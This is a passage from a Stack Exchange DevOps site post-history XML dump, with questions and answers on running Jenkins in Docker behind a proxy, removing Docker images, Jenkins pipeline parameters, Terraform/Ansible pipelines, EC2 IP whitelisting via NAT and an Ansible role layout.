7000:8080 -p 50000:50000 --env HTTP_PROXY=“http:// localhost:8080” --env HTTPS_PROXY=“https:// localhost:8080” -v /var/jenkins_home jenkins&#xD;&#xA;&#xD;&#xA;The issue is, with the second command, I can access the jenkins but I can’t install plugins and it asks me to configure the proxy&#xD;&#xA;Setting the proxy in the UI didn’t work&#xD;&#xA;&#xD;&#xA;My understanding is that Jenkins look for port 8080 by default and because in the command above I’m using port 7000, this is preventing Jenkins from connecting to the internet (correct me if I’m wrong)&#xD;&#xA;&#xD;&#xA;So what I did was download the Dockerfile for Jenkins and changed the port from 8080 to 7000&#xD;&#xA;&#xD;&#xA;**[Dockerfile][1]**&#xD;&#xA;&#xD;&#xA;I am now attempting to build the image with the following command&#xD;&#xA;&#xD;&#xA;    docker build --tag jenkins:1.0 .&#xD;&#xA;&#xD;&#xA;I get the following error&#xD;&#xA;&#xD;&#xA;    curl: (7) Failed to connect to github. com port 443: Connection timed out&#xD;&#xA;    The command ‘/bin/sh -c curl -fsSL https:// github. com/krallin/tini/releases/download/v${TINI_VERSION}/tini-static-amd64 -o /bin/tini &amp;&amp; chmod +x /bin/tini &amp;&amp; echo “$TINI_SHA /bin/tini” | sha256sum -c -’ returned a non-zero code: 7&#xD;&#xA;&#xD;&#xA;I suspect, this is a proxy issue and I did put proxy arguments in the Dockerfile but not sure if this is what I need to do or whether I’m doing it correctly&#xD;&#xA;&#xD;&#xA;Any idea what could be the solution?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/docker/blob/587b2856cd225bb152c4abeeaaa24934c75aa460/Dockerfile&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35614" PostHistoryTypeId="2" PostId="11633" RevisionGUID="e768819e-30ba-4154-86f3-ad2cb06bb717" CreationDate="2020-05-16T21:10:07.347" UserId="17897" Text="Trying to save space on the server, and I've noticed that the running containers are much smaller in size than the images I've had to pull to create the containers.&#xA;&#xA;I was wondering about the dependency of the running containers on the images  and  if it it's possible to remove the images and only keep the containers." ContentLicense="CC BY-SA 4.0" />
  <row Id="35615" PostHistoryTypeId="1" PostId="11633" RevisionGUID="e768819e-30ba-4154-86f3-ad2cb06bb717" CreationDate="2020-05-16T21:10:07.347" UserId="17897" Text="Can I remove a docker image and still keep the container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35616" PostHistoryTypeId="3" PostId="11633" RevisionGUID="e768819e-30ba-4154-86f3-ad2cb06bb717" CreationDate="2020-05-16T21:10:07.347" UserId="17897" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35617" PostHistoryTypeId="2" PostId="11634" RevisionGUID="c3be0868-d931-4cf1-804a-028ecec5e2af" CreationDate="2020-05-17T00:55:27.140" UserId="22307" Text="**Extended Choice Parameter plugin query**: How to load params dynamically from a JSON file for jenkins build job. Here is my jenkins script to add normal parameters and Extended Choice parameters as well.&#xD;&#xA;&#xD;&#xA;p&#xD;&#xA;&#xD;&#xA;    roperties([&#xD;&#xA;            [$class: 'BuildDiscarderProperty', strategy: [$class: 'LogRotator', numToKeepStr: '500']],&#xD;&#xA;            parameters([extendedChoice( &#xD;&#xA;            defaultValue: 'One,Two,Three,Four', &#xD;&#xA;            description: '', &#xD;&#xA;            multiSelectDelimiter: ',', &#xD;&#xA;            name: 'SAMPLE_EXTENDED_CHOICE', &#xD;&#xA;            quoteValue: false, &#xD;&#xA;            saveJSONParameterToFile: false, &#xD;&#xA;            type: 'PT_CHECKBOX', &#xD;&#xA;            value:'One,Two,Three,Four,Five,Six,Seven,Eight,Nine,Ten', &#xD;&#xA;            visibleItemCount: 10)&#xD;&#xA;            ])&#xD;&#xA;    ])&#xD;&#xA;&#xD;&#xA;This is working. But I want to be able to load parameters from a JSON file (using Extended Choice Parameter plugin). How can I modify the above script to accomplish that? PS: Here is the reference for Extended Parameter plugin. https://plugins.jenkins.io/extended-choice-parameter/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35618" PostHistoryTypeId="1" PostId="11634" RevisionGUID="c3be0868-d931-4cf1-804a-028ecec5e2af" CreationDate="2020-05-17T00:55:27.140" UserId="22307" Text="Jenkins Plugin:Extended Choice Parameter from JSON file" ContentLicense="CC BY-SA 4.0" />
  <row Id="35619" PostHistoryTypeId="3" PostId="11634" RevisionGUID="c3be0868-d931-4cf1-804a-028ecec5e2af" CreationDate="2020-05-17T00:55:27.140" UserId="22307" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35623" PostHistoryTypeId="2" PostId="11636" RevisionGUID="37074972-fc47-468c-8f14-92151934952f" CreationDate="2020-05-17T19:44:41.360" UserId="20101" Text="There are 2 really major points for Docker containers. &#xD;&#xA;&#xD;&#xA; 1. You make sure the app dependencies are versioned and encapsulated&#xD;&#xA;    inside the container. Container runs smoothly eveywhere, as long as you have the Docker daemon.&#xD;&#xA; 2. You have the capability to create/destroy a&#xD;&#xA;    container on any time, also known as ephemeral property. You could test easily, maintain N of them if needed ( Replica Sets in K8S for example are doing just that, Docker Swarm uses services to maintain this number as well ).&#xD;&#xA;&#xD;&#xA;The official Docker docs defines an image as&#xD;&#xA;&#xD;&#xA;&gt; An image is a read-only template with instructions for creating a&#xD;&#xA;&gt; Docker container&#xD;&#xA;&#xD;&#xA;You can't remove an image, because the container relies on it. &#xD;&#xA;&#xD;&#xA;    docker image rm ubuntu:20.04&#xD;&#xA;    Error response from daemon: conflict: unable to remove repository reference &quot;ubuntu:20.04&quot; (must force) - container ecd06b4eb4bf is using its referenced image&#xD;&#xA;&#xD;&#xA;Then you might force the process&#xD;&#xA;&#xD;&#xA;     docker image rm -f ubuntu:20.04&#xD;&#xA;    Untagged: ubuntu:20.04&#xD;&#xA;    Untagged: ubuntu@sha256:747d2dbbaaee995098c9792d99bd333c6783ce56150d1b11e333bbceed5c54d7&#xD;&#xA;    Untagged: ubuntu@sha256:8bce67040cd0ae39e0beb55bcb976a824d9966d2ac8d2e4bf6119b45505cee64&#xD;&#xA;&#xD;&#xA;But that just untags the image, it's still here.&#xD;&#xA;&#xD;&#xA;    docker image ls&#xD;&#xA;    REPOSITORY             TAG                                        IMAGE ID            CREATED             SIZE&#xD;&#xA;    &lt;none&gt;                 &lt;none&gt;                                     1d622ef86b13        3 weeks ago         73.9MB&#xD;&#xA;&#xD;&#xA;So to your question, the best practice is to only remove images that are not being used by any containers. If you maintain 2-5 versions of your app, you could safely remove the others. Also you schould strive for minimum size of each image, even in total that schould not bother your available space that much. " ContentLicense="CC BY-SA 4.0" />
  <row Id="35624" PostHistoryTypeId="2" PostId="11637" RevisionGUID="2841bf5f-2273-4f1c-9668-ade845a2a3cc" CreationDate="2020-05-18T07:16:48.387" UserId="354" Text="This is indeed a tricky thing to do &quot;right&quot;, because there are so many moving parts. I have found that it helps to reduce the degrees of freedom by adopting some conventions, and factoring out some parts.&#xD;&#xA;&#xD;&#xA;Draw a line between where Terraform is responsible and where Ansible becomes responsible, and separate those stages. You do this so that you can deal with smaller bits and verify the changes.&#xD;&#xA;&#xD;&#xA;This way, you can maintain smaller modules of the pipeline, and create deployment or testing scenarios from various well-known starting points.&#xD;&#xA;&#xD;&#xA;The next strategy that might help is to &quot;start from the end&quot; and automate the rest. Ie, write a set of assertions on the final state of your pipeline (we do this with [Inspec profiles](https://inspec.io). In this way, you can know whether the application of your Terraform and Ansible has had the desired effect (ie, you can &quot;fail the build&quot;), and roll back.&#xD;&#xA;&#xD;&#xA;It's not clear from your post what the complexity of your inventory is, but if it's something like a few machines deployed in a cloud, you could do the following:&#xD;&#xA;&#xD;&#xA;1. Terraform the cloud&#xD;&#xA;  1. `terraform init`&#xD;&#xA;  1. `terraform init`&#xD;&#xA;  1. `terraform plan -out $BUILD_NUMBER`&#xD;&#xA;  1. `terraform apply -auto-approve $BUILD_NUMBER`&#xD;&#xA;  1. (ensure that you have an `output.tf` to generate an inventory to target for Ansible in the next steps).&#xD;&#xA;1. Assert correct state of the infrastructure:&#xD;&#xA;  1. `inspec exec cloud_profile`&#xD;&#xA;1. Configure instances&#xD;&#xA;  1. `ansible-playbook -i &lt;inventory from terraform&gt; playbook.yml&#xD;&#xA;1. Assert the correct state of the converged instances:&#xD;&#xA;  1. `inspec exec instance-profile`&#xD;&#xA;&#xD;&#xA;Now you have known-good infrastructure and machines, resulting from an automated pipeline an what is more, you will know clearly (from where the pipeline fails) if there is a problem.&#xD;&#xA;&#xD;&#xA;Final thought - you could go one step further in separating the infrastructure from configuration management by building and testing your images in a separate pipeline, with a [Packer](https://packer.io) template. This could use the same Ansible playbook and Inspec profile to generate a known-good image which you can then pass to Terraform at `apply` time.&#xD;&#xA;&#xD;&#xA;The feasibility of these approaches depends on how interconnected the resources are in your setup. It might help to draw an abstract dependency graph of the pipeline steps to map actions and tools to stages." ContentLicense="CC BY-SA 4.0" />
  <row Id="35625" PostHistoryTypeId="5" PostId="11620" RevisionGUID="0d228d21-68d3-44bf-a4cf-910c08d299fe" CreationDate="2020-05-18T07:58:48.747" UserId="16778" Comment="added 1 character in body" Text="The issue seems resolved, If I escape the backslash in the regex too:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Remove LE webroot definition&#xD;&#xA;    lineinfile: &#xD;&#xA;      path: &quot;/etc/path/to/config/{{ inventory_hostname }}.conf&quot;&#xD;&#xA;      regexp: &quot;^{{ inventory_hostname | replace('.', '\\.') }} = /path/to/a/directory&quot;&#xD;&#xA;      state: absent&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35626" PostHistoryTypeId="50" PostId="8686" RevisionGUID="e6bf0f5e-3572-454d-b855-87c182eafa87" CreationDate="2020-05-18T09:02:15.400" UserId="-1" />
  <row Id="35627" PostHistoryTypeId="50" PostId="9145" RevisionGUID="5143a501-2cca-4fb5-b431-c6d9fb5276eb" CreationDate="2020-05-18T11:00:45.067" UserId="-1" />
  <row Id="35634" PostHistoryTypeId="5" PostId="11630" RevisionGUID="234cad0d-263f-4ad5-8c9d-cffb221d0b03" CreationDate="2020-05-18T18:27:21.500" UserId="21739" Comment="fixed double quote" Text="For the past few days I’ve been scratching my head trying to get the Jenkins docker image to work&#xD;&#xA;&#xD;&#xA;The issue appears to be a proxy issue.&#xD;&#xA;&#xD;&#xA;&gt; OS: Ubuntu 16.04 LTS  &#xD;&#xA;&gt; &#xD;&#xA;&gt; Running behind work proxy &#xD;&#xA;&gt; &#xD;&#xA;&gt; Docker version 19.03.5, build 633a0ea838 &#xD;&#xA;&gt; &#xD;&#xA;&gt; Jenkins:https://hub.docker.com/_/jenkins/&#xD;&#xA;&#xD;&#xA;When I run the following command, I can’t access jenkins on localhost:7000&#xD;&#xA;&#xD;&#xA;    docker run --name myjenkins -p 7000:8080 -p 50000:50000 -v /var/jenkins_home jenkins&#xD;&#xA;&#xD;&#xA;However I can with the following command&#xD;&#xA;&#xD;&#xA;    docker run --name myjenkins -p 7000:8080 -p 50000:50000 --env HTTP_PROXY=&quot;http:// localhost:8080&quot; --env HTTPS_PROXY=&quot;https:// localhost:8080&quot; -v /var/jenkins_home jenkins&#xD;&#xA;&#xD;&#xA;The issue is, with the second command, I can access the Jenkins but I can’t install plugins and it asks me to configure the proxy&#xD;&#xA;Setting the proxy in the UI didn’t work&#xD;&#xA;&#xD;&#xA;My understanding is that Jenkins look for port 8080 by default and because in the command above I’m using port 7000, this is preventing Jenkins from connecting to the internet (correct me if I’m wrong)&#xD;&#xA;&#xD;&#xA;So what I did was download the Dockerfile for Jenkins and changed the port from 8080 to 7000&#xD;&#xA;&#xD;&#xA;**[Dockerfile][1]**&#xD;&#xA;&#xD;&#xA;I am now attempting to build the image with the following command&#xD;&#xA;&#xD;&#xA;    docker build --tag jenkins:1.0 .&#xD;&#xA;&#xD;&#xA;I get the following error&#xD;&#xA;&#xD;&#xA;    curl: (7) Failed to connect to github. com port 443: Connection timed out&#xD;&#xA;    The command '/bin/sh -c curl -fsSL https:// github. com/krallin/tini/releases/download/v${TINI_VERSION}/tini-static-amd64 -o /bin/tini &amp;&amp; chmod +x /bin/tini &amp;&amp; echo &quot;$TINI_SHA /bin/tini&quot; | sha256sum -c -' returned a non-zero code: 7&#xD;&#xA;&#xD;&#xA;I suspect, this is a proxy issue and I did put proxy arguments in the Dockerfile but not sure if this is what I need to do or whether I’m doing it correctly&#xD;&#xA;&#xD;&#xA;Any idea what could be the solution?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/docker/blob/587b2856cd225bb152c4abeeaaa24934c75aa460/Dockerfile&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35635" PostHistoryTypeId="24" PostId="11630" RevisionGUID="234cad0d-263f-4ad5-8c9d-cffb221d0b03" CreationDate="2020-05-18T18:27:21.500" Comment="Proposed by 21739 approved by 40 edit id of 1203" ContentLicense="CC BY-SA 4.0" />
  <row Id="35637" PostHistoryTypeId="2" PostId="11640" RevisionGUID="b1153617-9904-4f13-b378-934a8d5f214e" CreationDate="2020-05-18T18:28:37.817" UserId="9148" Text="You can add the `javascriptFile` parameter and change the `type` to `PT_JSON`.&#xD;&#xA;&#xD;&#xA;Using your example:&#xD;&#xA;&#xD;&#xA;    properties([&#xD;&#xA;        [$class: 'BuildDiscarderProperty', strategy: [$class: 'LogRotator', numToKeepStr: '500']],&#xD;&#xA;        parameters([extendedChoice( &#xD;&#xA;        defaultValue: 'One,Two,Three,Four', &#xD;&#xA;        description: '', &#xD;&#xA;        javascriptFile: '/path/to/file.json',&#xD;&#xA;        multiSelectDelimiter: ',', &#xD;&#xA;        name: 'SAMPLE_EXTENDED_CHOICE', &#xD;&#xA;        quoteValue: false, &#xD;&#xA;        saveJSONParameterToFile: false, &#xD;&#xA;        type: 'PT_JSON', &#xD;&#xA;        value:'One,Two,Three,Four,Five,Six,Seven,Eight,Nine,Ten', &#xD;&#xA;        visibleItemCount: 10)&#xD;&#xA;    " ContentLicense="CC BY-SA 4.0" />
  <row Id="35639" PostHistoryTypeId="2" PostId="11641" RevisionGUID="54e22c39-5930-4ed8-8dc4-0baff36c6c5e" CreationDate="2020-05-18T21:30:00.043" UserId="4532" Text="Answering my own question after our practice is well established.  There seems to be no comprehensive &quot;DevOps IDE&quot; in today's market, because the ecosystem of languages is so huge and none of the IDEs do it all.  So whatever you choose is only going to have partial coverage at enterprise scale with multiple teams using different tools.&#xD;&#xA;&#xD;&#xA;We settled on IDEA because it covers Groovy and Spock very well and we spend more time on those than anything else.  Some of the JetBrains IDEs have no free option, currently RubyMine and WebStorm do not.  So for Chef cookbooks, web frontends and Node.js, it is necessary to either pay for seats or fall back to Eclipse." ContentLicense="CC BY-SA 4.0" />
  <row Id="35643" PostHistoryTypeId="2" PostId="11643" RevisionGUID="c9c528de-9b62-491b-87da-6c8b00e4e033" CreationDate="2020-05-19T00:25:53.187" UserId="4115" Text="Use the `result` property of object returned from the `build` step.&#xD;&#xA;&#xD;&#xA;This was already asked and [has an answer over on StackOverflow](https://stackoverflow.com/a/52961436/1824868).  Additionally, this is hinted at in the [official build step documentation](https://www.jenkins.io/doc/pipeline/steps/pipeline-build-step/) in the description for the `propagate` parameter (&quot;use the `result` property of the return value as needed&quot;).  I haven't tested it as I don't have a test Jenkins instance available right now, but based on those two pieces of information it looks like something like this should do the trick:&#xD;&#xA;&#xD;&#xA;    def b = build('my-job-name', wait: true)&#xD;&#xA;    &#xD;&#xA;    def r = b.result" ContentLicense="CC BY-SA 4.0" />
  <row Id="35644" PostHistoryTypeId="50" PostId="9863" RevisionGUID="e7075ca4-0bca-48ae-b207-fcfba8628f3f" CreationDate="2020-05-19T02:02:00.237" UserId="-1" />
  <row Id="35645" PostHistoryTypeId="2" PostId="11644" RevisionGUID="cdcf335f-fb58-4715-9cb1-c1143982fd7a" CreationDate="2020-05-19T06:05:26.880" UserId="20011" Text="Currently we are running an application in a single amazon ec2 machine. On our application we are using some third party solution. For using those solution, we have asked the third party service provider to whitelist our ec2 machine ip.&#xD;&#xA;&#xD;&#xA;    our EC2 machine: IP - 172.12.32.55&#xD;&#xA;    Third party solution like global.bank.com and we have told global.bank.com to whitelist our IP&#xD;&#xA;&#xD;&#xA;Now we want to scale up our application. We are planing to setup multiple node (our application in multiple ec2 machine) and a load balancer.&#xD;&#xA;&#xD;&#xA;So my questions is, how i can manage our third party solution provider? Should I give all our ec2 machine ips to our third party solution providers for whitelist? Or is their any other solution to handle the situation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35646" PostHistoryTypeId="1" PostId="11644" RevisionGUID="cdcf335f-fb58-4715-9cb1-c1143982fd7a" CreationDate="2020-05-19T06:05:26.880" UserId="20011" Text="amazon ec2 ip whitelisted on a third party service provider" ContentLicense="CC BY-SA 4.0" />
  <row Id="35647" PostHistoryTypeId="3" PostId="11644" RevisionGUID="cdcf335f-fb58-4715-9cb1-c1143982fd7a" CreationDate="2020-05-19T06:05:26.880" UserId="20011" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35648" PostHistoryTypeId="2" PostId="11645" RevisionGUID="8508b3f7-e0c0-4fae-a04d-ff94b8690a91" CreationDate="2020-05-19T07:08:25.803" UserId="22312" Text="I believe that the problem lies on your proxy environment variables.&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http:// localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;https:// localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;The values of `$HTTP_PROXY` and `$HTTP_PROXY` are not supposed to have space characters on them. Additionally, although setting `$HTTP_PROXY` is useful for compatibility with other applications running inside the container, `curl` expects the HTTP proxy environment variable to be written in lowercase, that is, `$http_proxy`. From [`curl (1)` manual page](https://linux.die.net/man/1/curl):&#xD;&#xA;&#xD;&#xA;&gt; ## Environment&#xD;&#xA;&gt; &#xD;&#xA;&gt; The environment variables can be specified in lower case or upper case. The lower case version has precedence. `http_proxy` is an exception as it is only available in lower case.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `http_proxy [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `HTTPS_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTPS.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `FTP_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for FTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `ALL_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use if no protocol-specific proxy is set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `NO_PROXY &lt;comma-separated list of hosts&gt;`&#xD;&#xA;&gt; list of host names that shouldn't go through any proxy. If set to a asterisk '*' only, it matches all hosts.&#xD;&#xA;&#xD;&#xA;Therefore the `docker run` command might be written as below:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;https://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;https://localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;However, my solution will certainly not work because the port 8080 inside the container is being used by Jenkins and not by a HTTP proxy. Please, could you provide more information on how your work proxy is set up so I can edit my answer with more accurate details? Are you running a HTTP proxy such as `squid` or `cntlm` in your computer that receives requests from applications running in your workstation and forwards them to the corporate proxy after authentication? If so, you will need to adjust container's network configuration according to Stack Overflow question [From inside of a Docker container, how do I connect to the localhost of the machine?](https://stackoverflow.com/q/24319662)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35660" PostHistoryTypeId="5" PostId="11519" RevisionGUID="8f7ef7b9-1e5e-4600-93ee-1ac3845df637" CreationDate="2020-05-19T10:32:15.673" UserId="9938" Comment="Put &quot;Be careful&quot; after code example." Text="So, my workaround looks like this.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    parameters {&#xD;&#xA;        booleanParam(name: 'skip_all_steps', defaultValue: false, description: 'When changed parameters in pipeline, just update code from git')&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage('Stage1'){&#xD;&#xA;            when { not { expression { return params.skip_all_steps } } }&#xD;&#xA;            steps {&#xD;&#xA;                …&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        …&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Be careful:&#xD;&#xA;&#xD;&#xA;* parameters in Jenkins UI will be updated only after **successful** build,&#xD;&#xA;* maybe it is better idea to use `defaultValue: true` for `skip_all_steps` in your particular case" ContentLicense="CC BY-SA 4.0" />
  <row Id="35661" PostHistoryTypeId="2" PostId="11649" RevisionGUID="45bb7481-5ef0-4ec7-bdd7-690eb42ec1d9" CreationDate="2020-05-19T11:14:27.537" UserId="22341" Text="The TFS task tracker only supports 1-to-many Predecessor/Successor relationships ([docs][1]).&#xD;&#xA;&#xD;&#xA;I totally do not understand why is so.&#xD;&#xA;&#xD;&#xA;For me it's obviously a many-to-many relationship, since a task may be blocked by more than one predecessor tasks.&#xD;&#xA;&#xD;&#xA;This is the first and only time I've seen such a restriction in such a tracker (for instance, Meistertask supports many-to-many).&#xD;&#xA;&#xD;&#xA;Since I can't think of any technical problem to do that (it should be trivial), I'm pretty sure there is a real reason for that. I'd just like to know that reason: I guess it's public, but I couldn't find it.&#xD;&#xA;&#xD;&#xA;**WARNING: this is not a rant**. This is **a very specific question**, that may very well have a known answer (although it's possible it doesn't). If you think this is a rant either you misread it, or I miswrote it, or a combination of both.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/boards/queries/link-type-reference?toc=%2Fazure%2Fdevops%2Fboards%2Ftoc.json&amp;bc=%2Fazure%2Fdevops%2Fboards%2Fbreadcrumb%2Ftoc.json%20toc.json&amp;view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35662" PostHistoryTypeId="1" PostId="11649" RevisionGUID="45bb7481-5ef0-4ec7-bdd7-690eb42ec1d9" CreationDate="2020-05-19T11:14:27.537" UserId="22341" Text="Why does TFS only support 1-to-many Predecessor /Successor relationships?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35663" PostHistoryTypeId="3" PostId="11649" RevisionGUID="45bb7481-5ef0-4ec7-bdd7-690eb42ec1d9" CreationDate="2020-05-19T11:14:27.537" UserId="22341" Text="&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35664" PostHistoryTypeId="2" PostId="11650" RevisionGUID="302ea519-b409-42ca-b7e2-77a54f9aeb2f" CreationDate="2020-05-19T11:56:53.310" UserId="19148" Text="A possible approach could be:&#xD;&#xA;&#xD;&#xA;* Put your instances in a private subnet&#xD;&#xA;* Route incoming traffic through a load balancer&#xD;&#xA;* Route outgoing traffic through a NAT&#xD;&#xA;&#xD;&#xA;Outgoing traffic will then use the elastic IP assigned to your NAT as its source IP. &#xD;&#xA;&#xD;&#xA;An added benefit of this approach from a security perspective is that your instances won't be directly reachable from the internet, thus reducing your attack surface." ContentLicense="CC BY-SA 4.0" />
  <row Id="35665" PostHistoryTypeId="5" PostId="11650" RevisionGUID="5cfbd086-f0ea-4c61-8f07-aa4879ac7656" CreationDate="2020-05-19T12:04:04.660" UserId="19148" Comment="added 124 characters in body" Text="A possible approach could be:&#xD;&#xA;&#xD;&#xA;* Put your instances in a private subnet&#xD;&#xA;* Route incoming traffic through a load balancer&#xD;&#xA;* Route outgoing traffic through a [NAT][1]&#xD;&#xA;&#xD;&#xA;Outgoing traffic will then use the elastic IP assigned to your NAT as its source IP.&#xD;&#xA;&#xD;&#xA;An added benefit of this approach from a security perspective is that your instances won't be directly reachable from the internet, thus reducing your attack surface.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://See%20https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html%20in%20the%20AWS%20docs." ContentLicense="CC BY-SA 4.0" />
  <row Id="35666" PostHistoryTypeId="5" PostId="11649" RevisionGUID="7f0d5801-47e1-437f-988a-23a5047adc46" CreationDate="2020-05-19T12:19:38.653" UserId="354" Comment="No need to warn, just inform." Text="The TFS task tracker only supports 1-to-many Predecessor/Successor relationships ([docs][1]).&#xD;&#xA;&#xD;&#xA;I totally do not understand why is so.&#xD;&#xA;&#xD;&#xA;For me it's obviously a many-to-many relationship, since a task may be blocked by more than one predecessor tasks.&#xD;&#xA;&#xD;&#xA;This is the first and only time I've seen such a restriction in such a tracker (for instance, Meistertask supports many-to-many).&#xD;&#xA;&#xD;&#xA;Since I can't think of any technical problem to do that (it should be trivial), I'm pretty sure there is a real reason for that. I'd just like to know that reason: I guess it's public, but I couldn't find it.&#xD;&#xA;&#xD;&#xA;**Note: this is not a rant**. This is **a very specific question**, that may very well have a known answer (although it's possible it doesn't). If you think this is a rant either you misread it, or I miswrote it, or a combination of both.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/boards/queries/link-type-reference?toc=%2Fazure%2Fdevops%2Fboards%2Ftoc.json&amp;bc=%2Fazure%2Fdevops%2Fboards%2Fbreadcrumb%2Ftoc.json%20toc.json&amp;view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35668" PostHistoryTypeId="2" PostId="11651" RevisionGUID="f8a33b8a-6b14-4970-9f11-01cf212faa9b" CreationDate="2020-05-19T16:52:37.600" UserId="12614" Text="I wrote an Ansible role which does lots of things, it's called &quot;common&quot; and all Ansible hosts are using it.&#xD;&#xA;&#xD;&#xA;The directory structure is as follows:&#xD;&#xA;&#xD;&#xA;    ./common&#xD;&#xA;    │   ├── ./common/README.md&#xD;&#xA;    │   ├── ./common/defaults&#xD;&#xA;    │   │   └── ./common/defaults/main.yml&#xD;&#xA;    │   ├── ./common/handlers&#xD;&#xA;    │   │   └── ./common/handlers/main.yml&#xD;&#xA;    │   ├── ./common/meta&#xD;&#xA;    │   │   └── ./common/meta/main.yml&#xD;&#xA;    │   ├── ./common/tasks&#xD;&#xA;    │   │   ├── ./common/tasks/base_packages.yml&#xD;&#xA;    │   │   ├── ./common/tasks/iptables.yml&#xD;&#xA;    │   │   ├── ./common/tasks/locale.yml&#xD;&#xA;    │   │   ├── ./common/tasks/main.yml&#xD;&#xA;    │   │   ├── ./common/tasks/pip.yml&#xD;&#xA;    │   │   ├── ./common/tasks/pip_packages.yml&#xD;&#xA;    │   │   ├── ./common/tasks/python.yml&#xD;&#xA;    │   │   ├── ./common/tasks/python2_centos6.yml&#xD;&#xA;    │   │   ├── ./common/tasks/python3_centos6.yml&#xD;&#xA;    │   │   ├── ./common/tasks/repo.yml&#xD;&#xA;    │   │   ├── ./common/tasks/selinux.yml&#xD;&#xA;    │   │   ├── ./common/tasks/time.yml&#xD;&#xA;    │   │   ├── ./common/tasks/vim.yml&#xD;&#xA;    │   │   └── ./common/tasks/yum.yml&#xD;&#xA;    │   ├── ./common/templates&#xD;&#xA;    │   │   ├── ./common/templates/chrony.conf.j2&#xD;&#xA;    │   │   └── ./common/templates/ntp.conf.j2&#xD;&#xA;    │   ├── ./common/tests&#xD;&#xA;    │   │   ├── ./common/tests/inventory&#xD;&#xA;    │   │   └── ./common/tests/test.yml&#xD;&#xA;    │   └── ./common/vars&#xD;&#xA;    │       └── ./common/vars/main.yml&#xD;&#xA;&#xD;&#xA;main.yml looks like so:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    # tasks file for common&#xD;&#xA;    - name: python installation on centos 6 machines&#xD;&#xA;      block:&#xD;&#xA;      - import_tasks: python2_centos6.yml&#xD;&#xA;      - import_tasks: python3_centos6.yml&#xD;&#xA;      when: ansible_distribution_major_version == &quot;6&quot;&#xD;&#xA;    - import_tasks: python.yml&#xD;&#xA;      when: ansible_distribution_major_version == &quot;7&quot;&#xD;&#xA;    - import_tasks: pip.yml&#xD;&#xA;    - import_tasks: pip_packages.yml&#xD;&#xA;    - import_tasks: repo.yml&#xD;&#xA;    - import_tasks: yum.yml&#xD;&#xA;    - import_tasks: selinux.yml&#xD;&#xA;    - import_tasks: base_packages.yml&#xD;&#xA;    - import_tasks: iptables.yml&#xD;&#xA;      when: ansible_distribution_major_version == &quot;7&quot;&#xD;&#xA;    #- import_tasks: time.yml&#xD;&#xA;    - import_tasks: locale.yml&#xD;&#xA;    - import_tasks: vim.yml&#xD;&#xA;&#xD;&#xA;The playbook that I'm currently running:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    &#xD;&#xA;    # local_slave_playbook_c6.yml&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      vars:&#xD;&#xA;        ansible_user_shell: /bin/bash&#xD;&#xA;      